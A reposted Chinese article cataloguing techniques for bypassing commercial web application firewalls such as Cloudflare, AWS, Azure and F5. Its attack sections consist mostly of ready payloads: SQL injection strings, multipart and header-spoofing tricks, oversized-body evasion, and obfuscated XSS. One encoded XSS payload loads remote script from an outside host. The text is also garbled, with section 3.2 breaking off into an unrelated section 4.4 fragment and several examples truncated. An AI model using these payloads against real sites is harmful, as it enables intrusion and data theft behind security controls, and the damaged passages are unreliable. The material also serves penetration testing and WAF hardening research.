【转载】企业级WAF绕过技术深度研究
<p>本文转载来源公众号:Zacarx随笔</p><h2>前言</h2>
<p>Web应用防火墙(WAF)作为现代企业Web安全架构的核心组件,在防御SQL注入、XSS、RCE等常见攻击中扮演着关键角色。然而,随着攻防技术的不断演进,针对企业级WAF的绕过技术也在持续发展。本文基于最新的学术研究和实战案例,系统性地梳理了当前主流WAF产品的绕过技术,旨在为安全研究人员和渗透测试工程师提供技术参考。</p>
<h2>一、WAF工作原理与检测机制</h2>
<h3>1.1 WAF架构与部署模式</h3>
<p>企业级WAF通常采用以下三种部署模式:</p>
<p><strong>网络型WAF(Network-based)</strong></p>
<ul >
<li>部署在网络边界,以硬件设备或专用服务器形式存在</li>
<li>保护整个网络内的所有Web应用</li>
<li>典型代表:F5 BIG-IP ASM、Imperva SecureSphere</li>
</ul>
<p><strong>主机型WAF(Host-based)</strong></p>
<ul >
<li>部署在Web服务器上,以软件形式运行</li>
<li>仅保护部署节点上的应用</li>
<li>典型代表:ModSecurity、NAXSI</li>
</ul>
<p><strong>云托管WAF(Cloud-hosted)</strong></p>
<ul >
<li>作为SaaS服务提供,由第三方管理基础设施</li>
<li>保护任意位置的Web应用</li>
<li>典型代表:Cloudflare、AWS WAF、Azure WAF、Akamai</li>
</ul>
<h3>1.2 核心检测机制</h3>
<p>现代WAF采用多层检测机制:</p>
<h4>1.2.1 基于签名的检测(Signature-Based Detection)</h4>
<p><strong>工作原理:</strong></p>
<ul >
<li>维护已知攻击模式数据库(字符串或正则表达式)</li>
<li>将请求元素(URL、Headers、Body)与签名库匹配</li>
<li>典型规则集:OWASP CRS(Core Rule Set)</li>
</ul>
<p><strong>优势:</strong></p>
<ul >
<li>对已知攻击检测准确率高</li>
<li>处理开销相对较低</li>
<li>误报率低</li>
</ul>
<p><strong>典型规则示例:</strong></p>
if url_parameter "user_input" contains "UNION SELECT"
then block
<h4>1.2.2 基于规则的过滤(Rule-Based Filtering)</h4>
<p><strong>负向安全模型(Blacklisting):</strong></p>
<ul >
<li>定义禁止的内容</li>
<li>默认允许所有流量,仅阻止匹配黑名单的请求</li>
<li>易于初始部署,但容易被绕过</li>
</ul>
<p><strong>正向安全模型(Whitelisting):</strong></p>
<ul >
<li>定义允许的内容</li>
<li>默认拒绝所有流量,仅允许符合白名单的请求</li>
<li>安全性高,但配置复杂,维护成本高</li>
</ul>
<h4>1.2.3 异常检测(Anomaly Detection)</h4>
<p><strong>工作原理:</strong></p>
<ul >
<li>学习应用正常流量基线</li>
<li>标记偏离基线的异常请求</li>
</ul>
<p><strong>优势:</strong></p>
<ul >
<li>可检测0day攻击</li>
<li>自适应应用特性</li>
</ul>
<h4>1.2.4 基于AI/ML的检测</h4>
<p><strong>工作原理:</strong></p>
<ul >
<li>使用机器学习模型(随机森林、SVM、神经网络)</li>
<li>基于海量流量数据训练分类模型</li>
<li>实时对新请求进行分类</li>
</ul>
<p><strong>优势:</strong></p>
<ul >
<li>高准确率检测复杂和0day攻击</li>
<li>可持续学习适应</li>
</ul>
<h2>二、主流企业级WAF产品解析</h2>
<h3>2.1 国外主流WAF产品</h3>
<table><caption> </caption><caption> </caption>
<tfoot>
<tr>
<td> </td>
</tr>
</tfoot>
<colgroup><col><col><col><col><col></colgroup>
<thead>
<tr><th>WAF产品</th><th>厂商</th><th>部署类型</th><th>核心规则集</th><th>市占率</th></tr>
</thead>
<tbody>
<tr>
<td>Cloudflare WAF</td>
<td>Cloudflare</td>
<td>Cloud</td>
<td>Managed + OWASP CRS</td>
<td>高</td>
</tr>
<tr>
<td>AWS WAF</td>
<td>Amazon</td>
<td>Cloud</td>
<td>AWS Managed Rules + OWASP CRS</td>
<td>高</td>
</tr>
<tr>
<td>Azure WAF</td>
<td>Microsoft</td>
<td>Cloud</td>
<td>DRS 2.1 (基于 CRS 3.2)</td>
<td>高</td>
</tr>
<tr>
<td>Google Cloud Armor</td>
<td>Google</td>
<td>Cloud</td>
<td>ModSecurity + 自定义规则</td>
<td>中</td>
</tr>
<tr>
<td>F5 BIG-IP ASM</td>
<td>F5 Networks</td>
<td>Network/Virtual</td>
<td>Rapid Deployment Policy</td>
<td>高</td>
</tr>
<tr>
<td>ModSecurity</td>
<td>Trustwave/OWASP</td>
<td>Host/Network</td>
<td>OWASP CRS</td>
<td>高</td>
</tr>
<tr>
<td>Imperva WAF</td>
<td>Imperva</td>
<td>Cloud/Network/Host</td>
<td>ThreatRadar + 自定义</td>
<td>中</td>
</tr>
<tr>
<td>Akamai Kona</td>
<td>Akamai</td>
<td>Cloud</td>
<td>Adaptive Security Engine</td>
<td>高</td>
</tr>
<tr>
<td>Fortinet FortiWeb</td>
<td>Fortinet</td>
<td>Network/Virtual</td>
<td>Extended Protection</td>
<td>中</td>
</tr>
</tbody>
</table>
<h3>2.2 OWASP CRS (Core Rule Set)</h3>
<p>OWASP CRS是WAF领域最广泛使用的开源规则集,被大量商业WAF采用作为基础规则。</p>
<p><strong>覆盖的攻击类型:</strong></p>
<ul >
<li>SQL注入(SQLi)</li>
<li>跨站脚本(XSS)</li>
<li>本地文件包含(LFI)</li>
<li>远程文件包含(RFI)</li>
<li>远程代码执行(RCE)</li>
<li>PHP注入</li>
<li>Session固定</li>
<li>HTTP协议违规</li>
<li>恶意扫描器检测</li>
</ul>
<p><strong>版本演进:</strong></p>
<ul >
<li>CRS 2.x(已停止维护)</li>
<li>CRS 3.0~3.2(广泛使用)</li>
<li>CRS 3.3+(当前版本)</li>
<li>CRS 4.0(Next Generation)</li>
</ul>
<p><strong>偏执等级(Paranoia Level):</strong></p>
<ul >
<li>PL1:基础防护,误报率低</li>
<li>PL2:增强防护</li>
<li>PL3:严格防护</li>
<li>PL4:最大防护,误报率高</li>
</ul>
<h2>三、解析差异:WAF绕过的核心原理</h2>
<h3>3.1 HTTP解析差异(Parser Differential)</h3>
<p><strong>核心概念:</strong>WAF与后端应用对同一HTTP请求的理解不一致,是绕过的根本原因。</p>
<p><strong>产生原因:</strong></p>
<ul >
<li>WAF与应用使用不同的HTTP解析库</li>
<li>RFC标准存在模糊性和歧义</li>
<li>实现细节差异</li>
<li>性能与安全的权衡</li>
</ul>
<p><strong>典型场景:</strong></p>
<h4>场景1:Content-Type解析差异</h4>
<p>WAF可能仅检查<code>application/x-www-form-urlencoded</code>,而后端同时接受<code>multipart/form-data</code>:</p>
POST /api/search HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="query"
' UNION SELECT password FROM users--
------Boundary--
<p>90%以上的网站可互换接受这两种Content-Type,但WAF检测规则可能不同步。</p>
<p>为了方便大家理解,大家可以感受下两者差异:</p>
<p></p>
<p> </p>
<h4>场景2:参数处理差异</h4>
GET /search?q=safe&q=malicious
<p>不同技术栈对重复参数的处理:</p>
<table><caption> </caption><caption> </caption>
<tfoot>
<tr>
<td> </td>
</tr>
</tfoot>
<thead>
<tr><th>技术栈</th><th>处理方式</th></tr>
</thead>
<tbody>
<tr>
<td>PHP</td>
<td>使用最后一个值</td>
</tr>
<tr>
<td>ASP.NET</td>
<td>用逗号连接所有值</td>
</tr>
<tr>
<td>Java Servlet</td>
<td>返回数组</td>
</tr>
<tr>
<td>Python Flask</td>
<td>使用第一个值(默认)</td>
</tr>
<tr>
<td>Node.js Express</td>
<td>返回数组或字符串</td>
</tr>
</tbody>
</table>
<p>WAF如果仅检查第一个参数而后端使用最后一个,攻击即可绕过。</p>
<h3>3.2 归一化不一致(Normalization Inconsistency)</h3>
<p><strong>核心问题:</strong>WAF在应用检测规则前必须对请求进行归一化(解码、规范化路径等),如果归一化逻辑与后端不一致,会产生绕过。</p>
<p><strong>常见不一致:</strong></p>
<p><strong>URL编码层级:</strong></p>
%253Cscript%253E (双重URL编码)
↓ WAF解码一次
%3Cscript%3E
↓ 后端再解码
"}','$.a')--
<p><strong>攻击流程:</strong></p>
<ol >
<li>数据库支持JSON函数(PostgreSQL、MySQL、SQLite、MSSQL)</li>
<li>WAF规则未涵盖JSON语法</li>
<li>恶意SQL隐藏在JSON函数调用中</li>
<li>绕过检测,攻击成功执行</li>
</ol>
<h4>4.4.2 Multipart/Form-Data解析差异</h4>
<p>根据WAFFLED研究,multipart content-type存在大量解析差异攻击面。</p>
<p><strong>Boundary参数延续:</strong></p>
<p>RFC 2231允许通过多个参数表示单个参数值:</p>
Content-Type: multipart/form-data;
boundary=fake-boundary;
boundary*0=real-;
boundary*1=boundary
<p>WAF取第一个boundary(<code>fake-boundary</code>), 后端拼接为<code>real-boundary</code>,导致解析差异。</p>
<p><strong>完整攻击载荷:</strong></p>
POST /upload HTTP/1.1
Content-Type: multipart/form-data;
boundary=fake-boundary;
boundary*0=real-;
boundary*1=boundary
--fake-boundary
Content-Disposition: form-data; name="field1"
safe_value
--fake-boundary--
--real-boundary
Content-Disposition: form-data; name="id"
--real-boundary--
<p>WAF检查<code>fake-boundary</code>之间的内容(安全), 后端解析<code>real-boundary</code>之间的内容(恶意)。</p>
<p><strong>其他Multipart绕过类别:</strong></p>
<p><strong>Boundary分隔符操作:</strong></p>
\r\n--boundary (移除\r\n)
<p><strong>Content-Disposition破坏:</strong></p>
content-disposition: form-da\x00a; name="file"
<p><strong>畸形头部注入:</strong></p>
conten\x00-extra: something
Content-Type: text/plain\x00
<p><strong>字符集变更:</strong></p>
Content-Type: text/plain; charset=\x00UTF-8
<p><strong>换行符移除:</strong></p>
Content-Type: multipart/form-data; boundary=test\r\n\r\n
(紧接body,无空行)
<h4>4.4.3 XML外部实体注入绕过</h4>
<p><strong>Extra Field Addition:</strong></p>
<?xml version="1.0"?>
<root>
<field1>value1</field1>
<field2 attr="bypass">XXE_PAYLOAD</field2>
</root>
<p><strong>DOCTYPE Closure Confusion:</strong></p>
<!DOCTYPE root [...]>
<field1>XXE</field1>]
</root>
<p><strong>Schema操作:</strong></p>
<genre:schema>
<field1>XXE_PAYLOAD</field1>invalid_char
</genre:schema>
<p><strong>Content-Type头移除:</strong></p>
POST /api HTTP/1.1
Host: target.com
(无Content-Type头,或修改为其他值)
<?xml>...</xml>
<h3>4.5 协议层绕过策略</h3>
<h4>4.5.1 HTTP方法利用</h4>
<p>WAF规则可能仅覆盖GET/POST,使用其他方法绕过:</p>
HEAD /api?id=' OR 1=1-- HTTP/1.1
OPTIONS /api?id=' OR 1=1-- HTTP/1.1
PUT /api?id=' OR 1=1-- HTTP/1.1
DELETE /api?id=' OR 1=1-- HTTP/1.1
PATCH /api?id=' OR 1=1-- HTTP/1.1
TRACE /api?id=' OR 1=1-- HTTP/1.1
<p><strong>自定义HTTP方法:</strong></p>
CUSTOM /api?id=' OR 1=1-- HTTP/1.1
<h4>4.5.2 头部操纵</h4>
<p><strong>X-Forwarded-For欺骗:</strong></p>
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
CF-Connecting-IP: 127.0.0.1
<p>WAF信任这些头部,认为请求来自内网,放行。</p>
<p><strong>HTTP方法覆盖:</strong></p>
POST /api HTTP/1.1
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT
<p><strong>URL重写:</strong></p>
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin
<p>绕过路径基础的访问控制。</p>
<p><strong>国家代码欺骗:</strong></p>
CF-IPCountry: US
CloudFront-Viewer-Country: US
X-GeoIP-CC: US
<h4>4.5.3 HTTP版本差异</h4>
<p><strong>HTTP/1.0 vs HTTP/1.1:</strong></p>
<ul >
<li>HTTP/1.0缺少Host头部必选要求</li>
<li>HTTP/1.1更严格的规范解析</li>
</ul>
<p><strong>HTTP/2特性利用:</strong></p>
<ul >
<li>头部压缩(HPACK)</li>
<li>服务器推送</li>
<li>请求优先级</li>
</ul>
<p>老旧WAF可能不完全支持HTTP/2检测。</p>
<h4>4.5.4 WebSocket协议绕过</h4>
<p>WebSocket升级后,通信切换到ws://或wss://协议,传统HTTP WAF规则不再适用:</p>
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
<p>升级成功后,通过WebSocket发送攻击载荷:</p>
ws.send("' OR 1=1--")
<h3>4.6 资源耗尽与时序攻击</h3>
<h4>4.6.1 超大载荷绕过</h4>
<p><strong>原理:</strong>WAF通常有请求体检测上限,超过限制的部分不被检查。</p>
<p><strong>Cloudflare限制:</strong></p>
<ul >
<li>131,072字节(128 KiB)限制</li>
<li>超过此大小的请求体不被完整检查</li>
</ul>
<p><strong>攻击载荷:</strong></p>
POST /api HTTP/1.1
Content-Length: 131073
[剩余数据]
<p><strong>其他WAF限制:</strong></p>
<ul >
<li>AWS WAF: 8KB请求体检测限制</li>
<li>Azure WAF: 128KB限制</li>
<li>F5 BIG-IP: 可配置,默认10MB</li>
</ul>
<p><strong>工具:</strong>Burp Suite的"WAF Bypadd"扩展可自动添加填充数据。</p>
<h4>4.6.2 正则表达式拒绝服务(ReDoS)</h4>
<p><strong>原理:</strong>精心构造的输入触发WAF正则表达式引擎的灾难性回溯。</p>
<p><strong>易受攻击的正则:</strong></p>
^(a+)+$
^(+)*$
(a|a)*
(a|ab)*
<p><strong>攻击输入:</strong></p>
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
<p>引擎尝试所有可能的匹配组合,CPU占用暴增,导致:</p>
<ul >
<li>WAF响应超时</li>
<li>WAF降级为Fail-Open(允许所有流量)</li>
<li>WAF崩溃</li>
</ul>
<h4>4.6.3 速率限制规避</h4>
<p><strong>慢速攻击:</strong></p>
<ul >
<li>保持在速率限制阈值以下</li>
<li>分散多个IP地址</li>
<li>使用代理链/VPN</li>
</ul>
<p><strong>时序绕过:</strong>如WAF有单请求处理超时(如5秒),构造复杂请求使处理超时,请求被放行。</p>
<h3>4.7 逻辑缺陷与规则绕过</h3>
<h4>4.7.1 大小写敏感性</h4>
<p><strong>错误假设:</strong>WAF规则假设大小写敏感,攻击者利用大小写变换:</p>
SeLeCt * FrOm users
UNION SELECT
UnIoN SeLeCt
<h4>4.7.2 注释插入</h4>
<p><strong>SQL注释:</strong></p>
SEL/**/ECT
SE/*comment*/LECT
UNION/**/SELECT
UNI/*bypass*/ON/*waf*/SELECT
<p><strong>HTML注释:</strong></p>
ipt>
<h4>4.7.3 空字节注入</h4>
<p><strong>路径截断:</strong></p>
/path/to/file%00.jpg
<p>WAF检查扩展名为<code>.jpg</code>(安全), 后端C函数在<code>%00</code>处截断,实际读取<code>/path/to/file</code>。</p>
<p><strong>字符串终止:</strong></p>
admin'%00 OR 1=1--
<h4>4.7.4 字符集替代</h4>
<p><strong>IP地址表示:</strong></p>
127.0.0.1 (十进制)
0177.0.0.1 (八进制)
0x7F000001 (十六进制)
2130706433 (DWORD)
<p><strong>科学计数法:</strong></p>
WHERE id = 1e0 (等同于 1)
<h4>4.7.5 正则绕过技巧</h4>
<p><strong>未锚定的正则:</strong></p>
/union\sselect/ (缺少^和$)
<p>绕过:</p>
aaaunion selectbbb (匹配,但无效SQL)
<p>更好的正则应为:</p>
/\bunion\s+select\b/i
<p><strong>嵌套标签绕过:</strong></p>
<scr
<p>WAF规则替换<code><br></code>
<h4>4.7.6 上下文混淆</h4>
<p><strong>SQL in JSON:</strong></p>
{"query": "' OR 1=1--"}
<p>WAF可能仅按JSON解析,未识别SQL注入上下文。</p>
<p><strong>JavaScript in HTML属性:</strong></p>
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<p>Base64编码绕过XSS规则。</p>
<h3>4.8 针对AI/ML-based WAF的对抗技术</h3>
<h4>4.8.1 逃避攻击(Evasion Attacks)</h4>
<p><strong>原理:</strong>对恶意载荷进行微小扰动,使其跨越ML模型的决策边界,被误分类为良性。</p>
<p><strong>梯度基础方法(白盒):</strong></p>
<ul >
<li>FGSM (Fast Gradient Sign Method)</li>
<li>PGD (Projected Gradient Descent)</li>
<li>C&W Attack</li>
</ul>
<p><strong>查询基础方法(黑盒):</strong></p>
<ul >
<li>通过大量查询学习模型行为</li>
<li>迭代调整载荷直到绕过</li>
</ul>
<p><strong>实例:</strong></p>
<p>原始阻断:</p>
eval(atob('YWxlcnQoMSk='))
<p>扰动后绕过:</p>
new Function('a'+'lert(1)')()
<h4>4.8.2 模型推断攻击</h4>
<p><strong>目标:</strong>通过观察WAF响应,推断ML模型的内部逻辑。</p>
<p><strong>方法:</strong></p>
<ol >
<li>发送大量不同载荷</li>
<li>记录阻断/允许响应</li>
<li>训练代理模型模拟WAF行为</li>
<li>针对代理模型设计绕过</li>
<li>在真实WAF测试</li>
</ol>
<p><strong>防御难点:</strong></p>
<ul >
<li>高查询成本</li>
<li>需要精确模拟</li>
<li>可能被速率限制阻止</li>
</ul>
<h4>4.8.3 对抗样本生成</h4>
<p><strong>示例(open-appsec):</strong></p>
<p>基础载荷:</p>
alert(1)
<p>被阻断后,快速变换:</p>
confirm(1) // 立即绕过
<p>继续适应:</p>
prompt(1)
new Function('alert(1)')()
<p>ML模型需要重新训练才能覆盖新变种,但黑客可持续生成新变种。</p>
<h2>五、真实案例分析</h2>
<h3>案例1:Cloudflare WAF - Onbeforetoggle事件绕过</h3>
<p><strong>目标:</strong> 媒体网站,CloudFront保护</p>
<p><strong>发现过程:</strong></p>
<ol >
<li>探测HTML标签,发现<code><script></code>被阻断</li>
<li>测试JavaScript事件处理器</li>
<li>发现<code>onbeforetoggle</code>事件未被阻断</li>
</ol>
<p><strong>最终载荷:</strong></p>
<button popovertarget=x>Next</button>
<xss onbeforetoggle='eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs="))' popover id=x>XSS</xss>
<p><strong>技术要点:</strong></p>
<ul >
<li>利用HTML5 Popover API</li>
<li><code>onbeforetoggle</code>事件在popover显示/隐藏前触发</li>
<li>Base64编码绕过关键词检测</li>
<li>需要用户点击按钮触发</li>
</ul>
<h3>案例2:CloudFront + F5 BIG-IP ASM - Regex捕获组绕过</h3>
<p><strong>目标:</strong> 在线银行,双重WAF保护(CloudFront + F5 BIG-IP ASM)</p>
<p><strong>尝试1(失败):</strong></p>
eval(atob('dmFyIH...'))
<p><code>eval</code>关键词被阻断</p>
<p><strong>尝试2(失败):</strong></p>
window( ... )
<p><code>atob</code>关键词被阻断</p>
<p><strong>最终成功:</strong></p>
`e1v2a3l4a5t6o7b`.replace(/(.).(.).(.).(.).(.).(.).(.).(.)/,
function(match,$1,$2,$3,$4,$5,$6,$7,$8) {
var e=this[$1+$2+$3+$4];
var x=this[$5+$6+$7+$8];
e(x(`dmFyIH...`));
}
);
<p><strong>原理:</strong></p>
<ul >
<li>正则捕获组提取字符: e,v,a,l,a,t,o,b</li>
<li><code>this[$1+$2+$3+$4]</code> 动态构造 <code>eval</code></li>
<li><code>this[$5+$6+$7+$8]</code> 动态构造 <code>atob</code></li>
<li>避免直接出现关键词</li>
</ul>
<p><strong>替代方案:</strong></p>
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"base64_payload"
)
)
<p>使用十六进制编码规避关键词。</p>
<h3>案例3:Azure Application Gateway - 大载荷绕过</h3>
<p><strong>目标:</strong> 医疗服务提供商,Azure WAF保护</p>
<p><strong>问题:</strong><code>FROM</code>关键词被严格阻断</p>
<p><strong>发现:</strong>在JSON请求体中添加大量垃圾数据后,SQLi载荷未被检测。</p>
<p><strong>绕过载荷:</strong></p>
POST /api/search HTTP/1.1
Content-Type: application/json
Content-Length: 150000
{
"query": "' UNION SELECT password FROM users--"
}
<p><strong>技术补充:</strong>使用PostgreSQL <code>box()</code>几何类型转换函数,无需<code>FROM</code>关键词:</p>
' OR box('(0,0),(1,1)') <@ box'((0,0),(SELECT version(),1))'--
<p>错误信息泄露数据库版本,实现无<code>FROM</code>的SQL注入。</p>
<h3>案例4:Google Cloud Armor - Parameter Pollution + 大小写</h3>
<p><strong>场景:</strong> 自动化渗透测试工具(Hackbot)探测</p>
<p><strong>发现1:</strong> 应用对参数名大小写不敏感</p>
?Query=test 等同于 ?query=test
<p><strong>发现2:</strong> 利用此特性构造绕过</p>
?Query=safe&query=
<p>WAF检查<code>Query</code>参数(大写), 后端读取<code>query</code>参数(小写), 实现绕过。</p>
<h3>案例5:AWS WAF多规则集测试</h3>
<p><strong>测试结果:</strong></p>
<table><caption> </caption>
<tfoot>
<tr>
<td> </td>
</tr>
</tfoot>
<colgroup><col><col></colgroup></table>
<table>
<thead>
<tr><th>AWS WAF规则集</th><th>绕过率</th></tr>
</thead>
<tbody>
<tr>
<td>AWS Managed Rules</td>
<td>100%</td>
</tr>
<tr>
<td>Cyber Security Cloud</td>
<td>100%</td>
</tr>
<tr>
<td>F5 Rule Set</td>
<td>100%</td>
</tr>
<tr>
<td>Cloudbric Rule Set</td>
<td>部分绕过</td>
</tr>
<tr>
<td>Fortinet Rule Set</td>
<td>部分绕过</td>
</tr>
</tbody>
</table>
<p><strong>有效绕过载荷:</strong></p>
/?id=1/union/union/select/select+1,2,3/*
/?id=1+un//ion+sel//ect+1,2,3--
/?id=1;select+1&id=2,3+from+users+where+id=1--
<p><strong>关键技术:</strong></p>
<ul >
<li>双写关键词(union/union)利用清洗逻辑</li>
<li>注释符分割</li>
<li>HPP技术</li>
</ul>
<h2>六、自动化绕过工具与技术</h2>
<h3>6.1 WAF指纹识别</h3>
<h4>WAFW00F</h4>
wafw00f https://target.com
# 检测到的WAF:
# Cloudflare (Cloudflare Inc.)
<p><strong>识别特征:</strong></p>
<ul >
<li>HTTP响应头:<code>Server: cloudflare</code></li>
<li>Cookie:<code>__cfduid</code></li>
<li>特定阻断页面</li>
</ul>
<h4>Nmap NSE脚本</h4>
nmap -p 443 --script http-waf-detect target.com
nmap --script http-waf-fingerprint target.com
<h3>6.2 SQLMap Tamper脚本</h3>
<p>SQLMap的<code>--tamper</code>选项提供多种绕过脚本:</p>
sqlmap -u "http://target.com?id=1" \
--tamper=space2comment,between \
--level=5 --risk=3
<p><strong>常用Tamper脚本:</strong></p>
<table>
<thead>
<tr><th>脚本名称</th><th>功能</th><th>示例</th></tr>
</thead>
<tbody>
<tr>
<td>space2comment</td>
<td>空格替换为注释</td>
<td><code>UNION SELECT</code> → <code>UNION/**/SELECT</code></td>
</tr>
<tr>
<td>charencode</td>
<td>URL编码</td>
<td><code>SELECT</code> → <code>%53%45%4C%45%43%54</code></td>
</tr>
<tr>
<td>base64encode</td>
<td>Base64编码</td>
<td><code>SELECT</code> → <code>U0VMRUNUCg==</code></td>
</tr>
<tr>
<td>between</td>
<td>AND/OR替换为BETWEEN</td>
<td><code>1 AND 1</code> → <code>1 BETWEEN 0 AND 2</code></td>
</tr>
<tr>
<td>randomcase</td>
<td>随机大小写</td>
<td><code>SELECT</code> → <code>SeLeCt</code></td>
</tr>
<tr>
<td>versionedkeywords</td>
<td>添加版本注释</td>
<td><code>UNION</code> → <code>/*!50000UNION*/</code></td>
</tr>
<tr>
<td>apostrophemask</td>
<td>单引号替换</td>
<td><code>'</code> → <code>%EF%BC%87</code></td>
</tr>
<tr>
<td>htmlencode</td>
<td>HTML实体编码</td>
<td><code><</code> → <code><</code></td>
</tr>
</tbody>
</table>
<p><strong>自定义Tamper脚本示例:</strong></p>
# tamper/custombypass.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
# 实现自定义绕过逻辑
payload = payload.replace("UNION", "/*!50000UNION*/")
payload = payload.replace("SELECT", "/*!50000SELECT*/")
return payload
<h3>6.3 Burp Suite扩展</h3>
<h4>HTTP Request Smuggler</h4>
<ul >
<li>自动检测CL.TE、TE.CL、TE.TE漏洞</li>
<li>生成走私载荷</li>
<li>验证响应差异</li>
</ul>
<h4>WAF Bypass</h4>
<ul >
<li>多种编码方式</li>
<li>自动Fuzz WAF规则</li>
<li>生成绕过报告</li>
</ul>
<h4>IP Rotate</h4>
<ul >
<li>通过API网关轮换IP</li>
<li>避免被WAF封禁</li>
<li>支持AWS API Gateway、Google Cloud</li>
</ul>
<h4>Hackvertor</h4>
<ul >
<li>强大的编码/解码工具</li>
<li>支持链式转换</li>
<li>自定义编码器</li>
</ul>
<p><strong>使用示例:</strong></p>
<@base64_0>SELECT * FROM users<@/base64_0>
<@hex_0><@url_0>alert(1)<@/url_0><@/hex_0>
<h3>6.4 WAFFLED工具</h3>
<p>基于学术研究开发的WAF绕过模糊测试工具:</p>
<p><strong>核心功能:</strong></p>
<ul >
<li>Grammar-based fuzzing</li>
<li>自动识别解析差异</li>
<li>支持multipart/form-data、application/xml、application/json</li>
<li>针对AWS、Azure、Cloudflare、GCP、ModSecurity</li>
</ul>
<p><strong>使用流程:</strong></p>
# 1. 配置目标
vim config.yaml
# 2. 生成测试载荷
python waffled.py --grammar multipart.abnf --generate
# 3. 测试WAF
python waffled.py --test --waf cloudflare
# 4. 分析结果
python waffled.py --analyze --output report.html
<p><strong>发现的绕过示例:</strong></p>
<ul >
<li>1207个唯一绕过</li>
<li>24种绕过分类</li>
<li>90%+网站受影响</li>
</ul>
<h2>七、前沿研究方向</h2>
<h3>7.1 WAFFLED研究成果</h3>
<p><strong>发表:</strong> USENIX Security 2025</p>
<p><strong>核心贡献:</strong></p>
<ul >
<li>首次系统性研究WAF解析差异</li>
<li>自动化fuzzing方法论</li>
<li>1207个唯一绕过</li>
<li>覆盖5大WAF、6大框架</li>
</ul>
<h3>7.2 HTTP/2与HTTP/3绕过</h3>
<p><strong>研究重点:</strong></p>
<ul >
<li>HTTP/2特有攻击面</li>
<li>HPACK头部压缩利用</li>
<li>HTTP/3 QUIC协议</li>
<li>多路复用请求走私</li>
</ul>
<h2>八、总结</h2>
<p>WAF 并非安全的终极防线。研究显示,高达 70.6% 的 WAF 可以被高级绕过技术突破,而其根源在于 HTTP 协议的复杂性和模糊性导致的解析差异:不同 WAF 与后端框架在归一化逻辑和输入处理上存在不一致,从而形成检测盲区。同时,攻击者的手段也在持续演进——从早期的简单混淆,发展到利用协议漏洞、构造对抗样本,以及借助自动化工具批量生成变体。面对这种攻防不对称的格局,单纯依赖 WAF 只能提供有限保护,真正有效的安全策略应结合应用层防护、统一的输入解析与语义检测机制,以实现纵深防御与持续适应性安全。</p>
<h2>参考文献</h2>
<p> Akhavani, S. A., et al. (2025). "WAFFLED: Exploiting Parsing Discrepancies to Bypass Web Application Firewalls." <em>USENIX Security Symposium</em>.</p>
<p> Wang, Q., et al. (2024). "Break the Wall from Bottom: Automated Discovery of Protocol-Level Evasion Vulnerabilities in Web Application Firewalls." <em>IEEE S&P</em>.</p>
<p> Jabiyev, B., et al. (2021). "T-Reqs: HTTP Request Smuggling with Differential Fuzzing." <em>ACM CCS</em>.</p>
<p> Qu, Z., et al. (2022). "AutoSpear: Towards Automatically Bypassing and Inspecting Web Application Firewalls." <em>BlackHat Asia</em>.</p>
<p> OWASP Foundation. "SQL Injection Bypassing WAF." </p>
<p>https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF</p>
<p> Claroty Team82. (2022). "JS-ON: Security-OFF - Abusing JSON-Based SQL to Bypass WAF." https://claroty.com/team82/research</p>
<p> MDSec. (2024). "When WAFs Go Awry: Common Detection & Evasion Techniques." https://www.mdsec.co.uk</p>
<p> Ethiack. (2025). "Bypassing WAFs with Parameter Pollution." https://blog.ethiack.com</p>
<p> PortSwigger Research. "Evading defences using VueJS script gadgets." https://portswigger.net/research</p>
<p> WAFW00F: https://github.com/EnableSecurity/wafw00f</p>
<p> SQLMap: https://github.com/sqlmapproject/sqlmap</p>
<p> Burp Suite: https://portswigger.net/burp</p>
<p> WAFFLED: https://github.com/sa-akhavani/waffled</p>
<p> Awesome WAF: https://github.com/0xInfection/Awesome-WAF</p>
<p> CVE-2022-39955: OWASP CRS - Content-Type charset bypass</p>
<p> CVE-2022-39956: OWASP CRS - Character encoding scheme bypass</p>
<p> CVE-2022-39957: OWASP CRS - Accept header charset bypass</p>
<p> CVE-2022-39958: OWASP CRS - Range header data exfiltration</p>
<p> CVE-2024-1019: ModSecurity - Path confusion bug</p>
<p> CVE-2024-6783: Vue 2 - Template compiler XSS</p>
<p><strong>转载链接:https://mp.weixin.qq.com/s/ZJRiaI1BlZZrwOlmdsxyLg?mpshare=1&scene=1&srcid=1013uogXoIoZQ95738tZU7Nh&sharer_shareinfo=966a7be3148928677189f32a4f94a79b&sharer_shareinfo_first=966a7be3148928677189f32a4f94a79b&from=industrynews&color_scheme=light#rd</strong></p>
<br>来源:程序园用户自行投稿发布,如果侵权,请联系站长删除<br>免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页:
[1]